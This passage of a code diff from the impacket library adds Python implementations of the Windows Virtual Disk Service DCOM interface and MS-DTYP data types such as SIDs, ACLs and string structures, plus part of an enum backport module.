req['ORPCthis']['flags'] = 0
req['pwszVolumeName'] = pwszVolumeName
resp = self.request(req, self._iid, uuid = self.get_iPid())
return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
def QueryDiffAreasForVolume(self, pwszVolumeName):
req = QueryDiffAreasForVolume()
classInstance = self.get_cinstance()
req['ORPCthis'] = classInstance.get_ORPCthis()
req['ORPCthis']['flags'] = 0
req['pwszVolumeName'] = pwszVolumeName
resp = self.request(req, self._iid, uuid = self.get_iPid())
return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))

View File

@@ -0,0 +1,269 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-VDS]: Virtual Disk Service (VDS) Protocol
# This was used as a way to test the DCOM runtime. Further
# testing is needed to verify it is working as expected
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
#
# Since DCOM is like an OO RPC, instead of helper functions you will see the
# classes described in the standards developed.
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantVaryingArray, NDRENUM
from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown2, PMInterfacePointer, INTERFACE
from impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, DWORD, SHORT, GUID
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.enum import Enum
from impacket import hresult_errors
from impacket.uuid import string_to_bin
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
if hresult_errors.ERROR_MESSAGES.has_key(self.error_code):
error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1]
return 'VDS SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'VDS SessionError: unknown error code: 0x%x' % (self.error_code)
################################################################################
# CONSTANTS
################################################################################
# 1.9 Standards Assignments
CLSID_VirtualDiskService = string_to_bin('7D1933CB-86F6-4A98-8628-01BE94C9A575')
IID_IEnumVdsObject = string_to_bin('118610B7-8D94-4030-B5B8-500889788E4E')
IID_IVdsAdviseSink = string_to_bin('8326CD1D-CF59-4936-B786-5EFC08798E25')
IID_IVdsAsync = string_to_bin('D5D23B6D-5A55-4492-9889-397A3C2D2DBC')
IID_IVdsServiceInitialization = string_to_bin('4AFC3636-DB01-4052-80C3-03BBCB8D3C69')
IID_IVdsService = string_to_bin('0818A8EF-9BA9-40D8-A6F9-E22833CC771E')
IID_IVdsSwProvider = string_to_bin('9AA58360-CE33-4F92-B658-ED24B14425B8')
IID_IVdsProvider = string_to_bin('10C5E575-7984-4E81-A56B-431F5F92AE42')
error_status_t = ULONG
# 2.2.1.1.3 VDS_OBJECT_ID
VDS_OBJECT_ID = GUID
################################################################################
# STRUCTURES
################################################################################
# 2.2.2.1.3.1 VDS_SERVICE_PROP
class VDS_SERVICE_PROP(NDRSTRUCT):
structure = (
('pwszVersion',LPWSTR),
('ulFlags',ULONG),
)
class OBJECT_ARRAY(NDRUniConformantVaryingArray):
item = PMInterfacePointer
# 2.2.2.7.1.1 VDS_PROVIDER_TYPE
class VDS_PROVIDER_TYPE(NDRENUM):
class enumItems(Enum):
VDS_PT_UNKNOWN = 0
VDS_PT_SOFTWARE = 1
VDS_PT_HARDWARE = 2
VDS_PT_VIRTUALDISK = 3
VDS_PT_MAX = 4
# 2.2.2.7.2.1 VDS_PROVIDER_PROP
class VDS_PROVIDER_PROP(NDRSTRUCT):
structure = (
('id',VDS_OBJECT_ID),
('pwszName',LPWSTR),
('guidVersionId',GUID),
('pwszVersion',LPWSTR),
('type',VDS_PROVIDER_TYPE),
('ulFlags',ULONG),
('ulStripeSizeFlags',ULONG),
('sRebuildPriority',SHORT),
)
################################################################################
# RPC CALLS
################################################################################
# 3.4.5.2.5.1 IVdsServiceInitialization::Initialize (Opnum 3)
class IVdsServiceInitialization_Initialize(DCOMCALL):
opnum = 3
structure = (
('pwszMachineName', LPWSTR),
)
class IVdsServiceInitialization_InitializeResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.4.5.2.4.1 IVdsService::IsServiceReady (Opnum 3)
class IVdsService_IsServiceReady(DCOMCALL):
opnum = 3
structure = (
)
class IVdsService_IsServiceReadyResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.4.5.2.4.2 IVdsService::WaitForServiceReady (Opnum 4)
class IVdsService_WaitForServiceReady(DCOMCALL):
opnum = 4
structure = (
)
class IVdsService_WaitForServiceReadyResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.4.5.2.4.3 IVdsService::GetProperties (Opnum 5)
class IVdsService_GetProperties(DCOMCALL):
opnum = 5
structure = (
)
class IVdsService_GetPropertiesResponse(DCOMANSWER):
structure = (
('pServiceProp', VDS_SERVICE_PROP),
('ErrorCode', error_status_t),
)
# 3.4.5.2.4.4 IVdsService::QueryProviders (Opnum 6)
class IVdsService_QueryProviders(DCOMCALL):
opnum = 6
structure = (
('masks', DWORD),
)
class IVdsService_QueryProvidersResponse(DCOMANSWER):
structure = (
('ppEnum', PMInterfacePointer),
('ErrorCode', error_status_t),
)
# 3.1.1.1 IEnumVdsObject Interface
# 3.4.5.2.1.1 IEnumVdsObject::Next (Opnum 3)
class IEnumVdsObject_Next(DCOMCALL):
opnum = 3
structure = (
('celt', ULONG),
)
class IEnumVdsObject_NextResponse(DCOMANSWER):
structure = (
('ppObjectArray', OBJECT_ARRAY),
('pcFetched', ULONG),
('ErrorCode', error_status_t),
)
# 3.4.5.2.14.1 IVdsProvider::GetProperties (Opnum 3)
class IVdsProvider_GetProperties(DCOMCALL):
opnum = 3
structure = (
)
class IVdsProvider_GetPropertiesResponse(DCOMANSWER):
structure = (
('pProviderProp', VDS_PROVIDER_PROP),
('ErrorCode', error_status_t),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
}
################################################################################
# HELPER FUNCTIONS AND INTERFACES
################################################################################
class IEnumVdsObject(IRemUnknown2):
def Next(self, celt=0xffff):
request = IEnumVdsObject_Next()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
request['celt'] = celt
try:
resp = self.request(request, uuid = self.get_iPid())
except Exception, e:
resp = e.get_packet()
# If it is S_FALSE(1) means less items were returned
if resp['ErrorCode'] != 1:
raise
interfaces = list()
for interface in resp['ppObjectArray']:
interfaces.append(IRemUnknown2(INTERFACE(self.get_cinstance(), ''.join(interface['abData']), self.get_ipidRemUnknown(), target = self.get_target())))
return interfaces
class IVdsProvider(IRemUnknown2):
def GetProperties(self):
request = IVdsProvider_GetProperties()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
resp = self.request(request, uuid = self.get_iPid())
return resp
class IVdsServiceInitialization(IRemUnknown2):
def __init__(self, interface):
IRemUnknown2.__init__(self, interface)
def Initialize(self):
request = IVdsServiceInitialization_Initialize()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
request['pwszMachineName'] = '\x00'
resp = self.request(request, uuid = self.get_iPid())
return resp
class IVdsService(IRemUnknown2):
def __init__(self, interface):
IRemUnknown2.__init__(self, interface)
def IsServiceReady(self):
request = IVdsService_IsServiceReady()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
try:
resp = self.request(request, uuid = self.get_iPid())
except Exception, e:
resp = e.get_packet()
return resp
def WaitForServiceReady(self):
request = IVdsService_WaitForServiceReady()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
resp = self.request(request, uuid = self.get_iPid())
return resp
def GetProperties(self):
request = IVdsService_GetProperties()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
resp = self.request(request, uuid = self.get_iPid())
return resp
def QueryProviders(self, masks):
request = IVdsService_QueryProviders()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
request['masks'] = masks
resp = self.request(request, uuid = self.get_iPid())
return IEnumVdsObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))

View File

@@ -0,0 +1,519 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-DTYP] Interface mini implementation
#
from struct import pack
from impacket.dcerpc.v5.ndr import NDRULONG, NDRUHYPER, NDRSHORT, NDRLONG, NDRPOINTER, NDRUniConformantArray, \
NDRUniFixedArray, NDR, NDRHYPER, NDRSMALL, NDRPOINTERNULL, NDRSTRUCT, \
NDRUSMALL, NDRBOOLEAN, NDRUSHORT, NDRFLOAT, NDRDOUBLEFLOAT, NULL
DWORD = NDRULONG
BOOL = NDRULONG
UCHAR = NDRUSMALL
SHORT = NDRSHORT
NULL = NULL
class LPDWORD(NDRPOINTER):
referent = (
('Data', DWORD),
)
class PSHORT(NDRPOINTER):
referent = (
('Data', SHORT),
)
class PBOOL(NDRPOINTER):
referent = (
('Data', BOOL),
)
class LPBYTE(NDRPOINTER):
referent = (
('Data', NDRUniConformantArray),
)
PBYTE = LPBYTE
# 2.2.4 BOOLEAN
BOOLEAN = NDRBOOLEAN
# 2.2.6 BYTE
BYTE = NDRUSMALL
# 2.2.7 CHAR
CHAR = NDRSMALL
class PCHAR(NDRPOINTER):
referent = (
('Data', CHAR),
)
class WIDESTR(NDRUniFixedArray):
def getDataLen(self, data):
return data.find('\x00\x00\x00')+3
def __setitem__(self, key, value):
if key == 'Data':
try:
self.fields[key] = value.encode('utf-16le')
except UnicodeDecodeError:
import sys
self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le')
self.data = None # force recompute
else:
return NDR.__setitem__(self, key, value)
def __getitem__(self, key):
if key == 'Data':
return self.fields[key].decode('utf-16le')
else:
return NDR.__getitem__(self,key)
class STR(NDRSTRUCT):
commonHdr = (
('MaximumCount', '<L=len(Data)'),
('Offset','<L=0'),
('ActualCount','<L=len(Data)'),
)
commonHdr64 = (
('MaximumCount', '<Q=len(Data)'),
('Offset','<Q=0'),
('ActualCount','<Q=len(Data)'),
)
structure = (
('Data',':'),
)
def dump(self, msg = None, indent = 0):
if msg is None: msg = self.__class__.__name__
if msg != '':
print "%s" % msg,
# Here just print the data
print " %r" % (self['Data']),
def __setitem__(self, key, value):
if key == 'Data':
self.fields[key] = value
self.fields['MaximumCount'] = None
self.fields['ActualCount'] = None
self.data = None # force recompute
else:
return NDR.__setitem__(self, key, value)
def getDataLen(self, data):
return self["ActualCount"]
class LPSTR(NDRPOINTER):
referent = (
('Data', STR),
)
class WSTR(NDRSTRUCT):
commonHdr = (
('MaximumCount', '<L=len(Data)/2'),
('Offset','<L=0'),
('ActualCount','<L=len(Data)/2'),
)
commonHdr64 = (
('MaximumCount', '<Q=len(Data)/2'),
('Offset','<Q=0'),
('ActualCount','<Q=len(Data)/2'),
)
structure = (
('Data',':'),
)
def dump(self, msg = None, indent = 0):
if msg is None: msg = self.__class__.__name__
if msg != '':
print "%s" % msg,
# Here just print the data
print " %r" % (self['Data']),
def getDataLen(self, data):
return self["ActualCount"]*2
def __setitem__(self, key, value):
if key == 'Data':
try:
self.fields[key] = value.encode('utf-16le')
except UnicodeDecodeError:
import sys
self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le')
self.fields['MaximumCount'] = None
self.fields['ActualCount'] = None
self.data = None # force recompute
else:
return NDR.__setitem__(self, key, value)
def __getitem__(self, key):
if key == 'Data':
return self.fields[key].decode('utf-16le')
else:
return NDR.__getitem__(self,key)
class LPWSTR(NDRPOINTER):
referent = (
('Data', WSTR),
)
# 2.2.5 BSTR
BSTR = LPWSTR
# 2.2.8 DOUBLE
DOUBLE = NDRDOUBLEFLOAT
class PDOUBLE(NDRPOINTER):
referent = (
('Data', DOUBLE),
)
# 2.2.15 FLOAT
FLOAT = NDRFLOAT
class PFLOAT(NDRPOINTER):
referent = (
('Data', FLOAT),
)
# 2.2.18 HRESULT
HRESULT = NDRLONG
class PHRESULT(NDRPOINTER):
referent = (
('Data', HRESULT),
)
# 2.2.19 INT
INT = NDRLONG
class PINT(NDRPOINTER):
referent = (
('Data', INT),
)
# 2.2.26 LMSTR
LMSTR = LPWSTR
# 2.2.27 LONG
LONG = NDRLONG
class LPLONG(NDRPOINTER):
referent = (
('Data', LONG),
)
PLONG = LPLONG
# 2.2.28 LONGLONG
LONGLONG = NDRHYPER
class PLONGLONG(NDRPOINTER):
referent = (
('Data', LONGLONG),
)
# 2.2.31 LONG64
LONG64 = NDRUHYPER
class PLONG64(NDRPOINTER):
referent = (
('Data', LONG64),
)
# 2.2.32 LPCSTR
LPCSTR = LPSTR
# 2.2.36 NET_API_STATUS
NET_API_STATUS = DWORD
# 2.2.52 ULONG_PTR
ULONG_PTR = NDRULONG
# 2.2.10 DWORD_PTR
DWORD_PTR = ULONG_PTR
# 2.3.2 GUID and UUID
class GUID(NDRSTRUCT):
structure = (
('Data','16s=""'),
)
def getAlignment(self):
return 4
class PGUID(NDRPOINTER):
referent = (
('Data', GUID),
)
UUID = GUID
PUUID = PGUID
# 2.2.37 NTSTATUS
NTSTATUS = DWORD
# 2.2.45 UINT
UINT = NDRULONG
class PUINT(NDRPOINTER):
referent = (
('Data', UINT),
)
# 2.2.50 ULONG
ULONG = NDRULONG
class PULONG(NDRPOINTER):
referent = (
('Data', ULONG),
)
LPULONG = PULONG
# 2.2.54 ULONGLONG
ULONGLONG = NDRUHYPER
class PULONGLONG(NDRPOINTER):
referent = (
('Data', ULONGLONG),
)
# 2.2.57 USHORT
USHORT = NDRUSHORT
class PUSHORT(NDRPOINTER):
referent = (
('Data', USHORT),
)
# 2.2.59 WCHAR
WCHAR = WSTR
PWCHAR = LPWSTR
# 2.2.61 WORD
WORD = NDRUSHORT
class PWORD(NDRPOINTER):
referent = (
('Data', WORD),
)
LPWORD = PWORD
# 2.3.1 FILETIME
class FILETIME(NDRSTRUCT):
structure = (
('dwLowDateTime', DWORD),
('dwHighDateTime', LONG),
)
class PFILETIME(NDRPOINTER):
referent = (
('Data', FILETIME),
)
# 2.3.3 LARGE_INTEGER
LARGE_INTEGER = NDRHYPER
class PLARGE_INTEGER(NDRPOINTER):
referent = (
('Data', LARGE_INTEGER),
)
# 2.3.5 LUID
class LUID(NDRSTRUCT):
structure = (
('LowPart', DWORD),
('HighPart', LONG),
)
# 2.3.8 RPC_UNICODE_STRING
class RPC_UNICODE_STRING(NDRSTRUCT):
# Here we're doing some tricks to make this data type
# easier to use. It's exactly the same as defined. I changed the
# Buffer name for Data, so users can write directly to the datatype
# instead of writing to datatype['Buffer'].
# The drawback is you cannot directly access the Length and
# MaximumLength fields.
# If you really need it, you will need to do it this way:
# class TT(NDRCALL):
# structure = (
# ('str1', RPC_UNICODE_STRING),
# )
#
# nn = TT()
# nn.fields['str1'].fields['MaximumLength'] = 30
structure = (
('Length','<H=0'),
('MaximumLength','<H=0'),
('Data',LPWSTR),
)
def __setitem__(self, key, value):
if key == 'Data' and isinstance(value, NDR) is False:
try:
value.encode('utf-16le')
except UnicodeDecodeError:
import sys
value = value.decode(sys.getfilesystemencoding())
self['Length'] = len(value)*2
self['MaximumLength'] = len(value)*2
return NDRSTRUCT.__setitem__(self, key, value)
def dump(self, msg = None, indent = 0):
if msg is None: msg = self.__class__.__name__
if msg != '':
print "%s" % msg,
if isinstance(self.fields['Data'] , NDRPOINTERNULL):
print " NULL",
elif self.fields['Data']['ReferentID'] == 0:
print " NULL",
else:
return self.fields['Data'].dump('',indent)
class PRPC_UNICODE_STRING(NDRPOINTER):
referent = (
('Data', RPC_UNICODE_STRING ),
)
# 2.3.9 OBJECT_TYPE_LIST
ACCESS_MASK = DWORD
class OBJECT_TYPE_LIST(NDRSTRUCT):
structure = (
('Level', WORD),
('Remaining',ACCESS_MASK),
('ObjectType',PGUID),
)
class POBJECT_TYPE_LIST(NDRPOINTER):
referent = (
('Data', OBJECT_TYPE_LIST ),
)
# 2.3.13 SYSTEMTIME
class SYSTEMTIME(NDRSTRUCT):
structure = (
('wYear', WORD),
('wMonth', WORD),
('wDayOfWeek', WORD),
('wDay', WORD),
('wHour', WORD),
('wMinute', WORD),
('wSecond', WORD),
('wMilliseconds', WORD),
)
class PSYSTEMTIME(NDRPOINTER):
referent = (
('Data', SYSTEMTIME ),
)
# 2.3.15 ULARGE_INTEGER
class ULARGE_INTEGER(NDRSTRUCT):
structure = (
('QuadPart', LONG64),
)
class PULARGE_INTEGER(NDRPOINTER):
referent = (
('Data', ULARGE_INTEGER),
)
# 2.4.2.3 RPC_SID
class DWORD_ARRAY(NDRUniConformantArray):
item = '<L'
class RPC_SID_IDENTIFIER_AUTHORITY(NDRUniFixedArray):
align = 1
align64 = 1
def getDataLen(self, data):
return 6
class RPC_SID(NDRSTRUCT):
structure = (
('Revision',NDRSMALL),
('SubAuthorityCount',NDRSMALL),
('IdentifierAuthority',RPC_SID_IDENTIFIER_AUTHORITY),
('SubAuthority',DWORD_ARRAY),
)
def getData(self, soFar = 0):
self['SubAuthorityCount'] = len(self['SubAuthority'])
return NDRSTRUCT.getData(self, soFar)
def fromCanonical(self, canonical):
items = canonical.split('-')
self['Revision'] = int(items[1])
self['IdentifierAuthority'] = RPC_SID_IDENTIFIER_AUTHORITY()
self['IdentifierAuthority'] = '\x00\x00\x00\x00\x00' + pack('B',int(items[2]))
self['SubAuthorityCount'] = len(items) - 3
for i in range(self['SubAuthorityCount']):
self['SubAuthority'].append(int(items[i+3]))
def formatCanonical(self):
ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority'][5]))
for i in range(self['SubAuthorityCount']):
ans += '-%d' % self['SubAuthority'][i]
return ans
class PRPC_SID(NDRPOINTER):
referent = (
('Data', RPC_SID),
)
PSID = PRPC_SID
# 2.4.3 ACCESS_MASK
GENERIC_READ = 0x80000000L
GENERIC_WRITE = 0x4000000L
GENERIC_EXECUTE = 0x20000000L
GENERIC_ALL = 0x10000000L
MAXIMUM_ALLOWED = 0x02000000L
ACCESS_SYSTEM_SECURITY = 0x01000000L
SYNCHRONIZE = 0x00100000L
WRITE_OWNER = 0x00080000L
WRITE_DACL = 0x00040000L
READ_CONTROL = 0x00020000L
DELETE = 0x00010000L
# 2.4.5.1 ACL--RPC Representation
class ACL(NDRSTRUCT):
structure = (
('AclRevision',NDRSMALL),
('Sbz1',NDRSMALL),
('AclSize',NDRSHORT),
('AceCount',NDRSHORT),
('Sbz2',NDRSHORT),
)
class PACL(NDRPOINTER):
referent = (
('Data', ACL),
)
# 2.4.6.1 SECURITY_DESCRIPTOR--RPC Representation
class SECURITY_DESCRIPTOR(NDRSTRUCT):
structure = (
('Revision',UCHAR),
('Sbz1',UCHAR),
('Control',USHORT),
('Owner',PSID),
('Group',PSID),
('Sacl',PACL),
('Dacl',PACL),
)
# 2.4.7 SECURITY_INFORMATION
OWNER_SECURITY_INFORMATION = 0x00000001
GROUP_SECURITY_INFORMATION = 0x00000002
DACL_SECURITY_INFORMATION = 0x00000004
SACL_SECURITY_INFORMATION = 0x00000008
LABEL_SECURITY_INFORMATION = 0x00000010
UNPROTECTED_SACL_SECURITY_INFORMATION = 0x10000000
UNPROTECTED_DACL_SECURITY_INFORMATION = 0x20000000
PROTECTED_SACL_SECURITY_INFORMATION = 0x40000000
PROTECTED_DACL_SECURITY_INFORMATION = 0x80000000
ATTRIBUTE_SECURITY_INFORMATION = 0x00000020
SCOPE_SECURITY_INFORMATION = 0x00000040
BACKUP_SECURITY_INFORMATION = 0x00010000
SECURITY_INFORMATION = DWORD
class PSECURITY_INFORMATION(NDRPOINTER):
referent = (
('Data', SECURITY_INFORMATION),
)

View File

@@ -0,0 +1,754 @@
"""Python Enumerations"""
import sys as _sys
__all__ = ['Enum', 'IntEnum', 'unique']
pyver = float('%s.%s' % _sys.version_info[:2])
try:
any
except NameError:
def any(iterable):
for element in iterable:
if element:
return True
return False
class _RouteClassAttributeToGetattr(object):
"""Route attribute access on a class to __getattr__.
This is a descriptor, used to define attributes that act differently when
accessed through an instance and through a class. Instance access remains
normal, but access to an attribute through a class will be routed to the
class's __getattr__ method; this is done by raising AttributeError.
"""
def __init__(self, fget=None):
self.fget = fget
def __get__(self, instance, ownerclass=None):
if instance is None:
raise AttributeError()
return self.fget(instance)
def __set__(self, instance, value):
raise AttributeError("can't set attribute")
def __delete__(self, instance):
raise AttributeError("can't delete attribute")
def _is_descriptor(obj):
"""Returns True if obj is a descriptor, False otherwise."""
return (
hasattr(obj, '__get__') or
hasattr(obj, '__set__') or
hasattr(obj, '__delete__'))
def _is_dunder(name):
"""Returns True if a __dunder__ name, False otherwise."""
return (name[:2] == name[-2:] == '__' and
name[2:3] != '_' and
name[-3:-2] != '_' and
len(name) > 4)
def _is_sunder(name):
"""Returns True if a _sunder_ name, False otherwise."""
return (name[0] == name[-1] == '_' and
name[1:2] != '_' and
name[-2:-1] != '_' and
len(name) > 2)
def _make_class_unpicklable(cls):
"""Make the given class un-picklable."""
def _break_on_call_reduce(self):
raise TypeError('%r cannot be pickled' % self)
cls.__reduce__ = _break_on_call_reduce
cls.__module__ = '<unknown>'
class _EnumDict(dict):
"""Track enum member order and ensure member names are not reused.
EnumMeta will use the names found in self._member_names as the
enumeration member names.
"""
def __init__(self):
super(_EnumDict, self).__init__()
self._member_names = []
def __setitem__(self, key, value):
"""Changes anything not dundered or not a descriptor.
If a descriptor is added with the same name as an enum member, the name
is removed from _member_names (this may leave a hole in the numerical
sequence of values).
If an enum member name is used twice, an error is raised; duplicate
values are not checked for.
Single underscore (sunder) names are reserved.
Note: in 3.x __order__ is simply discarded as a not necessary piece
leftover from 2.x
"""
if pyver >= 3.0 and key == '__order__':
return
if _is_sunder(key):
raise ValueError('_names_ are reserved for future Enum use')
elif _is_dunder(key):
pass
elif key in self._member_names:
# descriptor overwriting an enum?
raise TypeError('Attempted to reuse key: %r' % key)
elif not _is_descriptor(value):
if key in self:
# enum overwriting a descriptor?
raise TypeError('Key already defined as: %r' % self[key])
self._member_names.append(key)
super(_EnumDict, self).__setitem__(key, value)
# Dummy value for Enum as EnumMeta explicity checks for it, but of course until
# EnumMeta finishes running the first time the Enum class doesn't exist. This
# is also why there are checks in EnumMeta like `if Enum is not None`
Enum = None
class EnumMeta(type):
"""Metaclass for Enum"""
@classmethod
def __prepare__(metacls, cls, bases):
return _EnumDict()
def __new__(metacls, cls, bases, classdict):
# an Enum class is final once enumeration items have been defined; it
# cannot be mixed with other types (int, float, etc.) if it has an
# inherited __new__ unless a new __new__ is defined (or the resulting
# class will fail).
if type(classdict) is dict:
original_dict = classdict
classdict = _EnumDict()
for k, v in original_dict.items():
classdict[k] = v
member_type, first_enum = metacls._get_mixins_(bases)
#if member_type is object:
# use_args = False
#else:
# use_args = True
__new__, save_new, use_args = metacls._find_new_(classdict, member_type,
first_enum)
# save enum items into separate mapping so they don't get baked into
# the new class
members = dict((k, classdict[k]) for k in classdict._member_names)
for name in classdict._member_names:
del classdict[name]
# py2 support for definition order
__order__ = classdict.get('__order__')
if __order__ is None:
__order__ = classdict._member_names
if pyver < 3.0:
order_specified = False
else:
order_specified = True
else:
del classdict['__order__']
order_specified = True
if pyver < 3.0:
__order__ = __order__.replace(',', ' ').split()
aliases = [name for name in members if name not in __order__]
__order__ += aliases
# check for illegal enum names (any others?)
invalid_names = set(members) & set(['mro'])
if invalid_names:
raise ValueError('Invalid enum member name(s): %s' % (
', '.join(invalid_names), ))
# create our new Enum type
enum_class = super(EnumMeta, metacls).__new__(metacls, cls, bases, classdict)
enum_class._member_names_ = [] # names in random order
enum_class._member_map_ = {} # name->value map
enum_class._member_type_ = member_type
# Reverse value->name map for hashable values.
enum_class._value2member_map_ = {}
# check for a __getnewargs__, and if not present sabotage
# pickling, since it won't work anyway
if (member_type is not object and
member_type.__dict__.get('__getnewargs__') is None
):
_make_class_unpicklable(enum_class)
# instantiate them, checking for duplicates as we go
# we instantiate first instead of checking for duplicates first in case
# a custom __new__ is doing something funky with the values -- such as
# auto-numbering ;)
if __new__ is None:
__new__ = enum_class.__new__
for member_name in __order__:
value = members[member_name]
if not isinstance(value, tuple):
args = (value, )
else:
args = value
if member_type is tuple: # special case for tuple enums
args = (args, ) # wrap it one more time
if not use_args or not args:
enum_member = __new__(enum_class)
if not hasattr(enum_member, '_value_'):
enum_member._value_ = value
else:
enum_member = __new__(enum_class, *args)
if not hasattr(enum_member, '_value_'):
enum_member._value_ = member_type(*args)
value = enum_member._value_
enum_member._name_ = member_name
enum_member.__objclass__ = enum_class
enum_member.__init__(*args)
# If another member with the same value was already defined, the
# new member becomes an alias to the existing one.
for name, canonical_member in enum_class._member_map_.items():
if canonical_member.value == enum_member._value_:
enum_member = canonical_member
break
else:
# Aliases don't appear in member names (only in __members__).
enum_class._member_names_.append(member_name)
enum_class._member_map_[member_name] = enum_member
try:
# This may fail if value is not hashable. We can't add the value
# to the map, and by-value lookups for this value will be
# linear.
enum_class._value2member_map_[value] = enum_member
except TypeError:
pass
# in Python2.x we cannot know definition order, so go with value order
# unless __order__ was specified in the class definition
if not order_specified:
enum_class._member_names_ = [
e[0] for e in sorted(
[(name, enum_class._member_map_[name]) for name in enum_class._member_names_],
key=lambda t: t[1]._value_
)]
# double check that repr and friends are not the mixin's or various
# things break (such as pickle)
if Enum is not None:
setattr(enum_class, '__getnewargs__', Enum.__getnewargs__)
for name in ('__repr__', '__str__', '__format__'):
class_method = getattr(enum_class, name)
obj_method = getattr(member_type, name, None)
enum_method = getattr(first_enum, name, None)
if obj_method is not None and obj_method is class_method:
setattr(enum_class, name, enum_method)
# method resolution and int's are not playing nice
# Python's less than 2.6 use __cmp__
if pyver < 2.6:
if issubclass(enum_class, int):
setattr(enum_class, '__cmp__', getattr(int, '__cmp__'))
elif pyver < 3.0:
if issubclass(enum_class, int):
for method in (
'__le__',
'__lt__',
'__gt__',
'__ge__',
'__eq__',
'__ne__',
'__hash__',
):
setattr(enum_class, method, getattr(int, method))
# replace any other __new__ with our own (as long as Enum is not None,
# anyway) -- again, this is to support pickle
if Enum is not None:
# if the user defined their own __new__, save it before it gets
# clobbered in case they subclass later
if save_new:
setattr(enum_class, '__member_new__', enum_class.__dict__['__new__'])
setattr(enum_class, '__new__', Enum.__dict__['__new__'])
return enum_class
def __call__(cls, value, names=None, module=None, type=None):
"""Either returns an existing member, or creates a new enum class.
This method is used both when an enum class is given a value to match
to an enumeration member (i.e. Color(3)) and for the functional API
(i.e. Color = Enum('Color', names='red green blue')).
When used for the functional API: `module`, if set, will be stored in
the new class' __module__ attribute; `type`, if set, will be mixed in
as the first base class.
Note: if `module` is not set this routine will attempt to discover the
calling module by walking the frame stack; if this is unsuccessful
the resulting class will not be pickleable.
"""
if names is None: # simple value lookup
return cls.__new__(cls, value)
# otherwise, functional API: we're creating a new Enum type
return cls._create_(value, names, module=module, type=type)
def __contains__(cls, member):
return isinstance(member, cls) and member.name in cls._member_map_
def __delattr__(cls, attr):
# nicer error message when someone tries to delete an attribute
# (see issue19025).
if attr in cls._member_map_:
raise AttributeError(
"%s: cannot delete Enum member." % cls.__name__)
super(EnumMeta, cls).__delattr__(attr)
def __dir__(self):
return (['__class__', '__doc__', '__members__', '__module__'] +
self._member_names_)
@property
def __members__(cls):
"""Returns a mapping of member name->value.
This mapping lists all enum members, including aliases. Note that this
is a copy of the internal mapping.
"""
return cls._member_map_.copy()
def __getattr__(cls, name):
"""Return the enum member matching `name`
We use __getattr__ instead of descriptors or inserting into the enum
class' __dict__ in order to support `name` and `value` being both
properties for enum members (which live in the class' __dict__) and
enum members themselves.
"""
if _is_dunder(name):
raise AttributeError(name)
try:
return cls._member_map_[name]
except KeyError:
raise AttributeError(name)
def __getitem__(cls, name):
return cls._member_map_[name]
def __iter__(cls):
return (cls._member_map_[name] for name in cls._member_names_)
def __reversed__(cls):
return (cls._member_map_[name] for name in reversed(cls._member_names_))
def __len__(cls):
return len(cls._member_names_)
def __repr__(cls):
return "<enum %r>" % cls.__name__
def __setattr__(cls, name, value):
"""Block attempts to reassign Enum members.
A simple assignment to the class namespace only changes one of the
several possible ways to get an Enum member from the Enum class,
resulting in an inconsistent Enumeration.
"""
member_map = cls.__dict__.get('_member_map_', {})
if name in member_map:
raise AttributeError('Cannot reassign members.')
super(EnumMeta, cls).__setattr__(name, value)
def _create_(cls, class_name, names=None, module=None, type=None):
"""Convenience method to create a new Enum class.
`names` can be:
* A string containing member names, separated either with spaces or
commas. Values are auto-numbered from 1.
* An iterable of member names. Values are auto-numbered from 1.
* An iterable of (member name, value) pairs.
* A mapping of member name -> value.
"""
metacls = cls.__class__
if type is None:
bases = (cls, )
else:
bases = (type, cls)
classdict = metacls.__prepare__(class_name, bases)
__order__ = []
# special processing needed for names?
if isinstance(names, str):
names = names.replace(',', ' ').split()
if isinstance(names, (tuple, list)) and isinstance(names[0], str):
names = [(e, i+1) for (i, e) in enumerate(names)]
# Here, names is either an iterable of (name, value) or a mapping.
